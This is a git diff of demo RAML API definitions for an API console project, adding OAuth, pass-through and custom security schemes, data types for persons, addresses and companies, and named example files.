+ /a-zA-Z0-9\-\_/*:
+ type: object
+ required: false
+ headers:
+ displayName: Token request headers
+ description: |
+ Headers to be set on the token request.
+ Use the same notation as RAML's `headers`.
+ type: object
+ required: false
+ properties:
+ /a-zA-Z0-9\-\_/*:
+ type: object
+ required: false
+ body:
+ displayName: Token body parameters
+ description: |
+ Body parameters to be applied to the `accessTokenUri`.
+ Properties will be applied to the default set of OAuth 2.0 token request
+ parameters.
+ If you define a parameter that is already defined in OAuth 2.0 specification
+ (RFC6749) it should be ignored by the processor.
+ type: object
+ required: false
+ authorizationGrants:
+ type: string[]
+ displayName: Custom authorization grants
+ required: false
+ description: |
+ List of custom authorization granst supported by your OAuth 2.0 server
+ ignoreDefaultGrants:
+ type: nil
+ required: false
+ description: |
+ If set, the processor should not use any of the `authorizationGrants`
+ properties defined in the `settings` and should be replaced by
+ `authorizationGrants` defined in this annotation.
+ This can be used only if this annotation `authorizationGrants` is set.
diff --git a/demo/apis/demo-api/securitySchemes/oauth2-header-delivery.raml b/demo/apis/demo-api/securitySchemes/oauth2-header-delivery.raml
new file mode 100644
index 0000000..e4aaffd
--- /dev/null
+++ b/demo/apis/demo-api/securitySchemes/oauth2-header-delivery.raml
@@ -0,0 +1,13 @@
+#%RAML 1.0 SecurityScheme
+type: OAuth 2.0
+displayName: Token delivery described as query parameter only
+settings:
+ accessTokenUri: https://token.com
+ authorizationUri: https://auth.com
+ authorizationGrants: authorization_code
+ scopes: [profile, email]
+describedBy:
+ headers:
+ token:
+ type: string
+ description: Apply access token here.
diff --git a/demo/apis/demo-api/securitySchemes/oauth2-no-delivery.raml b/demo/apis/demo-api/securitySchemes/oauth2-no-delivery.raml
new file mode 100644
index 0000000..ebc3f6d
--- /dev/null
+++ b/demo/apis/demo-api/securitySchemes/oauth2-no-delivery.raml
@@ -0,0 +1,8 @@
+#%RAML 1.0 SecurityScheme
+type: OAuth 2.0
+displayName: Token delivery described as query parameter only
+settings:
+ accessTokenUri: https://token.com
+ authorizationUri: https://auth.com
+ authorizationGrants: authorization_code
+ scopes: [profile, email]
diff --git a/demo/apis/demo-api/securitySchemes/oauth2-no-grants.raml b/demo/apis/demo-api/securitySchemes/oauth2-no-grants.raml
new file mode 100644
index 0000000..b3abf1b
--- /dev/null
+++ b/demo/apis/demo-api/securitySchemes/oauth2-no-grants.raml
@@ -0,0 +1,12 @@
+#%RAML 1.0 SecurityScheme
+type: OAuth 2.0
+displayName: This OAuth2 has no auth grants!
+settings:
+ accessTokenUri: https://token.com
+ authorizationUri: https://auth.com
+ scopes: [profile, email]
+describedBy:
+ queryParameters:
+ access_token:
+ type: string
+ description: Apply access token here.
diff --git a/demo/apis/demo-api/securitySchemes/oauth2-pkce.raml b/demo/apis/demo-api/securitySchemes/oauth2-pkce.raml
new file mode 100644
index 0000000..4947750
--- /dev/null
+++ b/demo/apis/demo-api/securitySchemes/oauth2-pkce.raml
@@ -0,0 +1,13 @@
+#%RAML 1.0 SecurityScheme
+type: OAuth 2.0
+displayName: This OAuth2 has PKCE annotation
+settings:
+ (pkce): true
+ accessTokenUri: https://token.com
+ authorizationUri: https://auth.com
+ scopes: [profile, email]
+describedBy:
+ queryParameters:
+ access_token:
+ type: string
+ description: Apply access token here.
diff --git a/demo/apis/demo-api/securitySchemes/oauth2-query-delivery.raml b/demo/apis/demo-api/securitySchemes/oauth2-query-delivery.raml
new file mode 100644
index 0000000..4a5b7e2
--- /dev/null
+++ b/demo/apis/demo-api/securitySchemes/oauth2-query-delivery.raml
@@ -0,0 +1,13 @@
+#%RAML 1.0 SecurityScheme
+type: OAuth 2.0
+displayName: Token delivery described as query parameter only
+settings:
+ accessTokenUri: https://token.com
+ authorizationUri: https://auth.com
+ authorizationGrants: authorization_code
+ scopes: [profile, email]
+describedBy:
+ queryParameters:
+ access_token:
+ type: string
+ description: Apply access token here.
diff --git a/demo/apis/demo-api/securitySchemes/oauth_1_0.raml b/demo/apis/demo-api/securitySchemes/oauth_1_0.raml
new file mode 100644
index 0000000..9aa9493
--- /dev/null
+++ b/demo/apis/demo-api/securitySchemes/oauth_1_0.raml
@@ -0,0 +1,8 @@
+#%RAML 1.0 SecurityScheme
+type: OAuth 1.0
+description: OAuth 1.0 continues to be supported for all API requests, but OAuth 2.0 is now preferred.
+settings:
+ requestTokenUri: http://api.domain.com/oauth1/request_token
+ authorizationUri: http://api.domain.com/oauth1/authorize
+ tokenCredentialsUri: http://api.domain.com/oauth1/access_token
+ signatures: [RSA-SHA1, HMAC-SHA1]
diff --git a/demo/apis/demo-api/securitySchemes/oauth_1_0_no-settings.raml b/demo/apis/demo-api/securitySchemes/oauth_1_0_no-settings.raml
new file mode 100644
index 0000000..6cc6ffc
--- /dev/null
+++ b/demo/apis/demo-api/securitySchemes/oauth_1_0_no-settings.raml
@@ -0,0 +1,3 @@
+#%RAML 1.0 SecurityScheme
+type: OAuth 1.0
+description: This has no settings.
diff --git a/demo/oauth1-fragment/oauth1-fragment.raml b/demo/apis/demo-api/securitySchemes/oauth_1_0_no-signature.raml
similarity index 100%
rename from demo/oauth1-fragment/oauth1-fragment.raml
rename to demo/apis/demo-api/securitySchemes/oauth_1_0_no-signature.raml
diff --git a/demo/apis/demo-api/securitySchemes/oauth_1_0_signature.raml b/demo/apis/demo-api/securitySchemes/oauth_1_0_signature.raml
new file mode 100644
index 0000000..b9d59d5
--- /dev/null
+++ b/demo/apis/demo-api/securitySchemes/oauth_1_0_signature.raml
@@ -0,0 +1,8 @@
+#%RAML 1.0 SecurityScheme
+type: OAuth 1.0
+description: OAuth 1.0 continues to be supported for all API requests, but OAuth 2.0 is now preferred.
+settings:
+ requestTokenUri: http://api.domain.com/oauth1/request_token
+ authorizationUri: http://api.domain.com/oauth1/authorize
+ tokenCredentialsUri: http://api.domain.com/oauth1/access_token
+ signatures: [RSA-SHA1]
diff --git a/demo/demo-api/securitySchemes/oauth_2_0.raml b/demo/apis/demo-api/securitySchemes/oauth_2_0.raml
similarity index 100%
rename from demo/demo-api/securitySchemes/oauth_2_0.raml
rename to demo/apis/demo-api/securitySchemes/oauth_2_0.raml
diff --git a/demo/apis/demo-api/securitySchemes/passthrough-querystring.raml b/demo/apis/demo-api/securitySchemes/passthrough-querystring.raml
new file mode 100644
index 0000000..0c26c60
--- /dev/null
+++ b/demo/apis/demo-api/securitySchemes/passthrough-querystring.raml
@@ -0,0 +1,16 @@
+#%RAML 1.0 SecurityScheme
+
+description: |
+ This API supports Pass Through Authentication.
+type: Pass Through
+describedBy:
+ queryString:
+ type: object
+ properties:
+ queryStringProperty1:
+ type: number
+ required: true
+ queryStringProperty2:
+ description: Random string
+ type: string
+ required: false
diff --git a/demo/apis/demo-api/securitySchemes/passthrough.raml b/demo/apis/demo-api/securitySchemes/passthrough.raml
new file mode 100644
index 0000000..383896c
--- /dev/null
+++ b/demo/apis/demo-api/securitySchemes/passthrough.raml
@@ -0,0 +1,24 @@
+#%RAML 1.0 SecurityScheme
+
+description: |
+ This API supports Pass Through Authentication.
+type: Pass Through
+describedBy:
+ queryParameters:
+ query:
+ type: string
+ example: my-value
+ description: |
+ This demonstrates how Pass Through authentication
+ works with `api-authorization-method` component.
+ debugTokenParam:
+ description: Select one of available values to run the request in the debug mode with selected level.
+ enum: [Info, Log, Warning, Error, Critical]
+ type: string
+ required: false
+ headers:
+ api_key:
+ type: string
+ pattern: "[0-9a-zA-Z\\.-]+"
+ description: |
+ This headers has pattern included in the definition.
diff --git a/demo/apis/demo-api/securitySchemes/x-custom copy.raml b/demo/apis/demo-api/securitySchemes/x-custom copy.raml
new file mode 100644
index 0000000..b76322d
--- /dev/null
+++ b/demo/apis/demo-api/securitySchemes/x-custom copy.raml
@@ -0,0 +1,33 @@
+#%RAML 1.0 SecurityScheme
+
+description: |
+ A custom security scheme for authenticating requests.
+ It allows to set `SpecialToken` header from the authorization panel.
+ The same header should be rendered in the headers editor with console using
+ RAML JS parser.
+ With `AMF` console this is separated information.
+ This scheme also sets `debugToken` and `booleanToken` query parameters.
+ Both are enums, however `booleanToken` can only have `true` and `false`
+ values.
+type: x-my-custom
+describedBy:
+ headers:
+ SpecialTokenHeader:
+ description: |
+ Used to send a custom token.
+ type: string
+ queryParameters:
+ debugTokenParam:
+ description: Select one of available values to run the request in the debug mode with selected level.
+ enum: [Info, Log, Warning, Error, Critical]
+ type: string
+ required: false
+ booleanTokenParam:
+ description: Just to test boolean values.
+ type: boolean
+ default: true
+ responses:
+ 401:
+ description: |
+ Bad token.
+ 403:
diff --git a/demo/demo-api/securitySchemes/x-custom.raml b/demo/apis/demo-api/securitySchemes/x-custom.raml
similarity index 100%
rename from demo/demo-api/securitySchemes/x-custom.raml
rename to demo/apis/demo-api/securitySchemes/x-custom.raml
diff --git a/demo/apis/demo-api/securitySchemes/x-other.raml b/demo/apis/demo-api/securitySchemes/x-other.raml
new file mode 100644
index 0000000..45e4cb5
--- /dev/null
+++ b/demo/apis/demo-api/securitySchemes/x-other.raml
@@ -0,0 +1,29 @@
+#%RAML 1.0 SecurityScheme
+
+description: |
+ Other custom security method for authorization.
+type: x-custom
+describedBy:
+ queryParameters:
+ apiUserIdParam:
+ description: |
+ Your api user ID. Some imaginary value.
+ type: number
+ required: true
+ apiNonceParam:
+ description: Random string
+ type: string
+ responses:
+ 401:
+ description: |
+ Bad token autorization.
+ body:
+ application/json:
+ type: object
+ properties:
+ error:
+ type: boolean
+ description: Always true. Indicates that the response is errord.
+ message:
+ type: string
+ description: Human readable message describing the error.
diff --git a/demo/apis/demo-api/securitySchemes/x-query-string.raml b/demo/apis/demo-api/securitySchemes/x-query-string.raml
new file mode 100644
index 0000000..438b230
--- /dev/null
+++ b/demo/apis/demo-api/securitySchemes/x-query-string.raml
@@ -0,0 +1,16 @@
+#%RAML 1.0 SecurityScheme
+
+description: |
+ Tests for queryString RAML's property
+type: x-custom
+describedBy:
+ queryString:
+ type: object
+ properties:
+ queryStringProperty1:
+ type: number
+ required: true
+ queryStringProperty2:
+ description: Random string
+ type: string
+ required: false
diff --git a/demo/demo-api/traits/adminable.raml b/demo/apis/demo-api/traits/adminable.raml
similarity index 100%
rename from demo/demo-api/traits/adminable.raml
rename to demo/apis/demo-api/traits/adminable.raml
diff --git a/demo/demo-api/traits/pagination.raml b/demo/apis/demo-api/traits/pagination.raml
similarity index 100%
rename from demo/demo-api/traits/pagination.raml
rename to demo/apis/demo-api/traits/pagination.raml
diff --git a/demo/apis/demo-api/traits/rate-limited.raml b/demo/apis/demo-api/traits/rate-limited.raml
new file mode 100644
index 0000000..7d06304
--- /dev/null
+++ b/demo/apis/demo-api/traits/rate-limited.raml
@@ -0,0 +1,9 @@
+#%RAML 1.0 Trait
+
+# displayName: RateLimited
+usage: TO be used when the API has a rate limit on the API gateway.
+headers:
+ x-rate-client-id:
+ description: he client ID to use for the rate limit.
+ example: 5757gh76
+ required: true
diff --git a/demo/demo-api/resourceTypes/app-person.raml b/demo/apis/demo-api/types/DemoPerson.raml
similarity index 54%
rename from demo/demo-api/resourceTypes/app-person.raml
rename to demo/apis/demo-api/types/DemoPerson.raml
index b401640..e52dc43 100644
--- a/demo/demo-api/resourceTypes/app-person.raml
+++ b/demo/apis/demo-api/types/DemoPerson.raml
@@ -1,35 +1,33 @@
#%RAML 1.0 DataType
-displayName: A person resource
+displayName: Person
description: |
- An object representing a person in the API.
- This object will be used in all methods returning a Person or list of people.
+ A person but without examples defined inline.
+
+type: object
-type: !include resource.raml
-example:
- id: "R34fg663H9KW9MMSKISI"
- name: "Pawel Psztyc"
- birthday: "1983-10-20"
- gender: male
- url: "https://domain.com/profile/pawel.psztyc"
- image:
- url: https://domain.com/profile/pawel.psztyc/image
- thumb: https://domain.com/profile/pawel.psztyc/image/thumb
- tagline: Some text about me.
- language: en_GB
- etag: "W\\244m4n5kj3gbn2nj4k4n4"
properties:
id:
+ xml:
+ attribute: true
description: A unique identifier for a person. It is a 32 bit string containing alphanumeric characters.
+ type: string
+ example: ad3fd6d4-af89-11eb-8529-0242ac130003
name:
required: true
example: John Smith
description: Person full name. The input will be rejected if this property is not set while creating new object.
type: string
pattern: "[0-9a-zA-Z ]+"
+ xml:
+ attribute: true
+ name: fullname
birthday:
- type: string
+ type: date-only
description: The person's date of birth, represented as YYYY-MM-DD.
+ examples:
+ Example 1: 1983-10-20
+ Example 2: 1994-08-29
gender?:
type: string
description: |
@@ -37,13 +35,33 @@ properties:
* "male" - Male gender.
* "female" - Female gender.
* "other" - Other.
+ example: male
url:
type: string
description: The URL of this person's profile.
- image: !include image.raml
+ image:
+ type: !include ../resourceTypes/image.raml
+ xml:
+ wrapped: true
tagline:
type: string
description: The brief description (tagline) of this person.
language:
type: string
description: The user's preferred language for rendering.
+ example: "Polish"
+ tags:
+ description: Tags added to the person.
+ type: array
+ items:
+ properties:
+ name:
+ type: string
+ description: The name of the tag
+ example: Manager
+ id:
+ type: string
+ description: Tag's identifier.
+ example: ad3fda8a-af89-11eb-8529-0242ac130003
+ xml:
+ wrapped: false
diff --git a/demo/apis/demo-document/demo-document.raml b/demo/apis/demo-document/demo-document.raml
new file mode 100644
index 0000000..04c515c
--- /dev/null
+++ b/demo/apis/demo-document/demo-document.raml
@@ -0,0 +1,21 @@
+#%RAML 1.0 DocumentationItem
+title: About
+content: |
+ This is test document.
+
+ ## Example
+ Let's say you want to generate a random number in the request. So the property
+ value like:
+ ```
+ http://www.domain.com/?time=${now}
+ ```
+ can produce:
+ ```
+ http://www.domain.com/?time=12312312312
+ ```
+ ## Build-in magic variables.
+ | Variable | Description | Example |
+ | --- | --- | --- |
+ | `${random}` | Will generate random number in range from 0 to Number.MAX_SAFE_INTEGER | 9007199254740991 |
+ | `${random:NUMBER}` | A variation of `${random}` where the result will be remembered and can be used in other property. If the same `NUMBER` occurs again then previously generated value will be used. | 7199254740 |
+ | `${now}` | Inserts current epoch time | 12312312312 |
diff --git a/demo/documentation-fragment/documentation-fragment.raml b/demo/apis/documentation-fragment/documentation-fragment.raml
similarity index 100%
rename from demo/documentation-fragment/documentation-fragment.raml
rename to demo/apis/documentation-fragment/documentation-fragment.raml
diff --git a/demo/apis/documented-api/documented-api.raml b/demo/apis/documented-api/documented-api.raml
new file mode 100644
index 0000000..2fe02b4
--- /dev/null
+++ b/demo/apis/documented-api/documented-api.raml
@@ -0,0 +1,29 @@
+#%RAML 1.0
+title: My super cool, example API
+version: v1
+baseUri: http://api.domain.com/
+
+documentation:
+ - title: Read this!
+ content: |
+ # This is an example API spec
+ The API doesn't exists in the real world therefore calls made to any endpoint will always fail.
+ If you'd like to perform actual request and see the response try GitHub API (which doesn't require user authentication in some endpoints) or other APIs.
+ Note that you may need a Client ID or valid authorization token to perform a call to some APIs that are secured by the OAuth 2 protocol.
+
+ Test of links:
+ - [relative link](../demo-document/demo-document.raml)
+ - [absolute link](https://mulesoft.com)
+
+ Thank you for testing the API console. Your feedback is welcome. Email us: arc@mulesoft.com
+ - !include ../demo-document/demo-document.raml
+ - title: Test docs
+ content: |
+ # A test documentation.
+ This text was created by ARC's RAML editor.
+ You probably see this because you are testing ARC's web components and this component
+ is responsible for displaying a documentation from the RAML definition.
+ Play around with the element and use it in your project.
+ Please, note the licensing information available in every ARC component.
+ If you have any question email me: arc@mulesoft.com
+ Or slack me (internally only): Pawel Psztyc (P3)
diff --git a/demo/apis/enum-test/enum-test.raml b/demo/apis/enum-test/enum-test.raml
new file mode 100755
index 0000000..1b3a5c6
--- /dev/null
+++ b/demo/apis/enum-test/enum-test.raml
@@ -0,0 +1,64 @@
+#%RAML 1.0
+title: Australian Trade Mark Search API
+description: 'Australian Trade Mark Search API.'
+version: v1
+
+types:
+ TrademarkApiAdvancedSearch:
+ type: object
+ properties:
+ Working1?:
+ type: TrademarkPierreWorking1Type
+ Working2?:
+ type: TrademarkPierreWorking2Type
+ Working3?:
+ type: TrademarkPierreWorking3Type
+ NotWorking?:
+ type: TrademarkPierreNotWorkingType
+ TrademarkPierreWorking1Type:
+ type: object
+ properties:
+ foo1:
+ type: string
+ enum:
+ - NON_USE
+ - INTERNATIONAL_REGISTRATION
+ - REGULATED
+ - SERIES
+ TrademarkPierreWorking2Type:
+ type: array
+ items:
+ type: object
+ properties:
+ foo2:
+ type: string
+ enum:
+ - NON_USE
+ - INTERNATIONAL_REGISTRATION
+ - REGULATED
+ - SERIES
+ TrademarkPierreWorking3Type:
+ type: string
+ enum:
+ - NON_USE
+ - INTERNATIONAL_REGISTRATION
+ - REGULATED
+ - SERIES
+ TrademarkPierreNotWorkingType:
+ type: array
+ items:
+ type: string
+ enum:
+ - NON_USE
+ - INTERNATIONAL_REGISTRATION
+ - REGULATED
+ - SERIES
+
+/testEndpoint:
+ post:
+ displayName: Paged Advanced Search
+ description: Returns a pageable list of Trade Marks with their details.
+ body:
+ application/json:
+ description: Trade Mark Advanced Search payload
+ type: TrademarkApiAdvancedSearch
diff --git a/demo/example-fragment/example-fragment.raml b/demo/apis/example-fragment/example-fragment.raml
similarity index 100%
rename from demo/example-fragment/example-fragment.raml
rename to demo/apis/example-fragment/example-fragment.raml
diff --git a/demo/apis/examples-api/Address-1.0.raml b/demo/apis/examples-api/Address-1.0.raml
new file mode 100755
index 0000000..b40ffc9
--- /dev/null
+++ b/demo/apis/examples-api/Address-1.0.raml
@@ -0,0 +1,75 @@
+#%RAML 1.0 DataType
+displayName: Address
+type: object
+examples:
+ BE_Address: !include examples/Address_BE_Example-1.0.raml
+ GB_Address: !include examples/Address_GB_Example-1.0.raml
+ NL_Address: !include examples/Address_NL_Example-1.0.raml
+properties:
+ addressType:
+ description: Specifies the type of address.
+ type: string
+ enum: ['TRADING-ADDRESS','REGISTERED-OFFICE-ADDRESS','POSTAL-ADDRESS']
+ required: false
+ building:
+ description: Building
+ type: string
+ required: false
+ example: "HYGEIA BUILDING"
+ streetName:
+ description: Street name
+ type: string
+ required: false
+ example: "College Road"
+ streetNameAdd1:
+ description: Street name (part 2)
+ required: false
+ type: string
+ example: "66 68 COLLEGE ROAD"
+ streetNameAdd2:
+ description: Street name (part 3)
+ type: string
+ required: false
+ example: "HARROW, MIDDLESEX, HA1 1BE., UNITED KINGDOM"
+ streetNameAdd3:
+ description: Street name (part 4)
+ type: string
+ required: false
+ houseNumber:
+ description: House number
+ type: string
+ required: false
+ houseNumberAddition:
+ description: House number addition
+ type: string
+ required: false
+ poBoxNumber:
+ description: P.O Box
+ type: string
+ required: false
+ postalCode:
+ description: Postal code
+ type: string
+ required: false
+ city:
+ description: City
+ type: string
+ required: false
+ state:
+ description: State or province
+ type: string
+ required: false
+ country:
+ description: Country name
+ type: string
+ required: false
+ countryCode:
+ description: Country code
+ type: string
+ required: false
+ example: "GB"
+ fullFormatedAddress:
+ description: Full formatted address
+ type: string
+ required: false
+ example: "HYGEIA BUILDING, 66 68 COLLEGE ROAD, HARROW, MIDDLESEX, HA1 1BE., UNITED KINGDOM"
diff --git a/demo/apis/examples-api/CompanyIdentification-1.0.raml b/demo/apis/examples-api/CompanyIdentification-1.0.raml
new file mode 100755
index 0000000..bc9161c
--- /dev/null
+++ b/demo/apis/examples-api/CompanyIdentification-1.0.raml
@@ -0,0 +1,48 @@
+#%RAML 1.0 DataType
+displayName: Company identification
+description: This object represents the indentification of a company.
+type: object
+examples:
+ BE_CompanyId: !include examples/CompanyIdentification_BE_Example-1.0.raml
+ GB_CompanyId: !include examples/CompanyIdentification_GB_Example-1.0.raml
+ NL_CompanyId: !include examples/CompanyIdentification_NL_Example-1.0.raml
+properties:
+ countryCode:
+ description: The country code identifying the country where a company resides.
+ type: string
+ minLength: 2
+ maxLength: 2
+ required: true
+ graydonEnterpriseId:
+ description: The unique company identifier issued by Graydon.
+ type: integer
+ required: false
+ example: 1558501924
+ registrationId:
+ description: The unique (legal) company identifier in the country where it resides; a Chamber of Commerce number in the Netherlands, CRO number in the United Kingdom and Company number in Belgium.
+ required: false
+ type: string
+ minLength: 1
+ maxLength: 12
+ example: "330803480000"
+ vatNumber:
+ description: The unique VAT number issued to a company by competent authority in the country where it resides.
+ type: string
+ required: false
+ minLength: 1
+ maxLength: 15
+ example: "NL004753975B01"
+ graydonCompanyId:
+ description: The unique company identifier identifier issued by Graydon.
+ type: string
+ minLength: 1
+ maxLength: 15
+ example: "501924"
+ required: false
+ isBranchOffice:
+ description: Determines if this company is a branch office or not (=head office)
+ type: boolean
+ required: false
+ branchIdentification:
+ description: Identification of the branch office.
+ required: false
diff --git a/demo/apis/examples-api/CompanyProfile-1.0.raml b/demo/apis/examples-api/CompanyProfile-1.0.raml
new file mode 100755
index 0000000..107ca47
--- /dev/null
+++ b/demo/apis/examples-api/CompanyProfile-1.0.raml
@@ -0,0 +1,14 @@
+#%RAML 1.0 DataType
+displayName: Company Profile
+description: This object contain all base company data
+type: !include CompanyProfileBase-1.0.raml
+examples:
+ BE_Profile: !include examples/CompanyProfile_BE_Example-1.0.raml
+ GB_Profile: !include examples/CompanyProfile_GB_Example-1.0.raml
+ NL_Profile: !include examples/CompanyProfile_NL_Example-1.0.raml
+properties:
+ companyIdentification:
+ type: !include CompanyIdentification-1.0.raml
+ required: true
+ companyName:
+ required: true
diff --git a/demo/apis/examples-api/CompanyProfileBase-1.0.raml b/demo/apis/examples-api/CompanyProfileBase-1.0.raml
new file mode 100755
index 0000000..54c93e3
--- /dev/null
+++ b/demo/apis/examples-api/CompanyProfileBase-1.0.raml
@@ -0,0 +1,48 @@
+#%RAML 1.0 DataType
+displayName: Company Profile base object
+description: This object contain all base company data
+type: object
+properties:
+ companyIdentification:
+ type: !include CompanyIdentification-1.0.raml
+ required: false
+ companyName:
+ description: The official registered company name. Generally a company has only one official registered name; for Beglian companies a company may have two official registered names.
+ type: string
+ required: false
+ alternateCompanyName:
+ description: The official registered alternate company name.
+ type: string
+ required: false
+ tradeNames:
+ description: De trade name is the name a company uses to trade. It is mainly used to distinct itself from other companies and has also a publicity value. A company have 0 or more trade names.
+ type: array
+ items: string
+ required: false
+ companyAddress:
+ type: array
+ items: !include Address-1.0.raml
+ required: false
+ legalForm:
+ description: The current legal form
+ type: object
+ required: false
+ isActive:
+ displayName: Specifies if company is registered as an active company or not
+ type: string
+ enum: ['true','false','unknown']
+ required: false
+ foundationDate:
+ displayName: The foundation date of the company (Derivation of Incorporation date or Establishment date)
+ type: date-only
+ required: false
+ example: 2015-05-24
+ dissolutionDate:
+ displayName: The dissolution date of the company
+ type: date-only
+ required: false
+ example: 2017-03-22
+ nonEmailIndicator:
+ displayName: Company explicitly indicates not to appreciate receiving unsolicited emails
+ type: boolean
+ required: false
diff --git a/demo/apis/examples-api/contact-email-example.raml b/demo/apis/examples-api/contact-email-example.raml
new file mode 100644
index 0000000..6682c26
--- /dev/null
+++ b/demo/apis/examples-api/contact-email-example.raml
@@ -0,0 +1,6 @@
+-
+ type: 'GENERAL'
+ value: 'info@company.be'
+-
+ type: 'IT_DEPT'
+ value: 'it-service@company.be'
diff --git a/demo/apis/examples-api/contact-example.raml b/demo/apis/examples-api/contact-example.raml
new file mode 100644
index 0000000..cda3170
--- /dev/null
+++ b/demo/apis/examples-api/contact-example.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 NamedExample
+-
+ type: 'GENERAL'
+ countryDialCode : '+32'
+ areaCode : '22'
+ subscriberNumber: '12.87.00'
+ formatted: '+32-(0)22 000000'
diff --git a/demo/apis/examples-api/contact-fax-example.raml b/demo/apis/examples-api/contact-fax-example.raml
new file mode 100644
index 0000000..062bff6
--- /dev/null
+++ b/demo/apis/examples-api/contact-fax-example.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 NamedExample
+-
+ type: 'GENERAL'
+ countryDialCode : '+32'
+ areaCode : '21'
+ subscriberNumber: '12.87.00'
+ formatted: '+32-(0)21 302099'
diff --git a/demo/apis/examples-api/contact-website-example.raml b/demo/apis/examples-api/contact-website-example.raml
new file mode 100644
index 0000000..0805d7f
--- /dev/null
+++ b/demo/apis/examples-api/contact-website-example.raml
@@ -0,0 +1,4 @@
+#%RAML 1.0 NamedExample
+-
+ type: "GENERAL"
+ value: "www.company.be"
diff --git a/demo/apis/examples-api/example-1.raml b/demo/apis/examples-api/example-1.raml
new file mode 100644
index 0000000..ab8fcb1
--- /dev/null
+++ b/demo/apis/examples-api/example-1.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 NamedExample
+countryCode: "BE"
+graydonEnterpriseId: 1057155523
+registrationId: "0422319093"
+vatNumber: "BE0422319093"
+graydonCompanyId: "0422319093"
+isBranchOffice: false
\ No newline at end of file
diff --git a/demo/apis/examples-api/example-2.raml b/demo/apis/examples-api/example-2.raml
new file mode 100644
index 0000000..96bd6cb
--- /dev/null
+++ b/demo/apis/examples-api/example-2.raml
@@ -0,0 +1,12 @@
+#%RAML 1.0 NamedExample
+- #Item 1
+ addressType: 'REGISTERED-OFFICE-ADDRESS'
+ streetName: 'UITBREIDINGSTRAAT'
+ houseNumber: '84'
+ houseNumberAddition: '/1'
+ postalCode: '2600'
+ city: 'BERCHEM (ANTWERPEN)'
+ country: 'Belgium'
+ countryCode: 'BE'
+ fullFormatedAddress: "UITBREIDINGSTRAAT 84 /1, 2600 BERCHEM (ANTWERPEN), BELIUM"
+# addressClassification: !include AddressClassification_BE-Example-1.raml
\ No newline at end of file
diff --git a/demo/apis/examples-api/example-3.raml b/demo/apis/examples-api/example-3.raml
new file mode 100644
index 0000000..8f0eed8
--- /dev/null
+++ b/demo/apis/examples-api/example-3.raml
@@ -0,0 +1,5 @@
+#%RAML 1.0 NamedExample
+phoneNumber: !include contact-example.raml
+faxNumber: !include contact-fax-example.raml
+email: !include contact-email-example.raml
+website: !include contact-website-example.raml
diff --git a/demo/apis/examples-api/example-4.raml b/demo/apis/examples-api/example-4.raml
new file mode 100644
index 0000000..40cbf2d
--- /dev/null
+++ b/demo/apis/examples-api/example-4.raml
@@ -0,0 +1,3 @@
+#%RAML 1.0 NamedExample
+code: '5'
+description: 'Limited company'
\ No newline at end of file
diff --git a/demo/apis/examples-api/example-5.raml b/demo/apis/examples-api/example-5.raml
new file mode 100644
index 0000000..be280a8
--- /dev/null
+++ b/demo/apis/examples-api/example-5.raml
@@ -0,0 +1,5 @@
+#%RAML 1.0 NamedExample
+class: '3'
+description: '150 - 300'
+numberOfFte: 5500
+numberOfEmployees: 5232
\ No newline at end of file
diff --git a/demo/apis/examples-api/example-6.raml b/demo/apis/examples-api/example-6.raml
new file mode 100644
index 0000000..502c2c4
--- /dev/null
+++ b/demo/apis/examples-api/example-6.raml
@@ -0,0 +1,3 @@
+#%RAML 1.0 NamedExample
+code: 'J'
+description: 'Information and communication'
\ No newline at end of file
diff --git a/demo/apis/examples-api/example-7.raml b/demo/apis/examples-api/example-7.raml
new file mode 100644
index 0000000..f2226f5
--- /dev/null
+++ b/demo/apis/examples-api/example-7.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 NamedExample
+-
+ code: '7487'
+ description: 'Financial and insurance activities'
+ type: "PRIMARY"
+ classificationCode: 'BE_NACEBEL2008'
+ activityGroupCode: 'ABCDE'
\ No newline at end of file
diff --git a/demo/apis/examples-api/example.json b/demo/apis/examples-api/example.json
new file mode 100644
index 0000000..0325823
--- /dev/null
+++ b/demo/apis/examples-api/example.json
@@ -0,0 +1,14 @@
+{
+ "id": "R34fg663H9KW9MMSKISI",
+ "name": "Pawel Psztyc",
+ "birthday": "1983-10-20",
+ "gender": "male",
+ "url": "https://domain.com/profile/pawel.psztyc",
+ "image": {
+ "url": "https://domain.com/profile/pawel.psztyc/image",
+ "thumb": "https://domain.com/profile/pawel.psztyc/image/thumb"
+ },
+ "tagline": "Some text about me.",
+ "language": "en_GB",
+ "etag": "\"W\\244m4n5kj3gbn2nj4k4n4\""
+}
diff --git a/demo/apis/examples-api/example.xml b/demo/apis/examples-api/example.xml
new file mode 100644
index 0000000..2c76be1
--- /dev/null
+++ b/demo/apis/examples-api/example.xml
@@ -0,0 +1,15 @@
+
+
+ Qawer63J73HJ6khjswuqyq62382jG21s
+ John Smith
+ 1990-10-12
+ male
+ https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s
+
+ https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s/image
+ https://www.domain.com/people/Qawer63J73HJ6khjswuqyq62382jG21s/image/thumb
+
+ Hi, I'm John!
+ en_US
+ W\\244m4n5kj3gbn2nj4k4n4
+
diff --git a/demo/apis/examples-api/example.xsd b/demo/apis/examples-api/example.xsd
new file mode 100644
index 0000000..f775497
--- /dev/null
+++ b/demo/apis/examples-api/example.xsd
@@ -0,0 +1,26 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/demo/apis/examples-api/examples-api.raml b/demo/apis/examples-api/examples-api.raml
new file mode 100644
index 0000000..5fbf29f
--- /dev/null
+++ b/demo/apis/examples-api/examples-api.raml
@@ -0,0 +1,313 @@
+#%RAML 1.0
+title: API demo
+version: v1
+baseUri: http://api.domain.com/
+
+mediaType: application/json
+
+types:
+ ScalarType: string
+ ScalarArray: string[]
+ ArrayType:
+ type: array
+ items: Image
+ UnionType: Image | Imgs
+ ScalarWithExample:
+ type: number
+ example: 5
+ ScalarArrayWithExample:
+ type: number[]
+ example: [1, 5]
+ SimpleInlineExample:
+ type: object
+ properties:
+ testProperty: boolean
+ example:
+ testProperty: true
+ Image:
+ type: object
+ properties:
+ url: string
+ thumb: string
+ Imgs:
+ properties:
+ something: string
+ images:
+ type: Image[]
+ xml:
+ wrapped: true
+ Person:
+ properties:
+ error?:
+ type: boolean
+ xml:
+ attribute: true
+ id:
+ type: string | number
+ name: string
+ birthday: date-only
+ gender:
+ type: string
+ examples:
+ Male: male
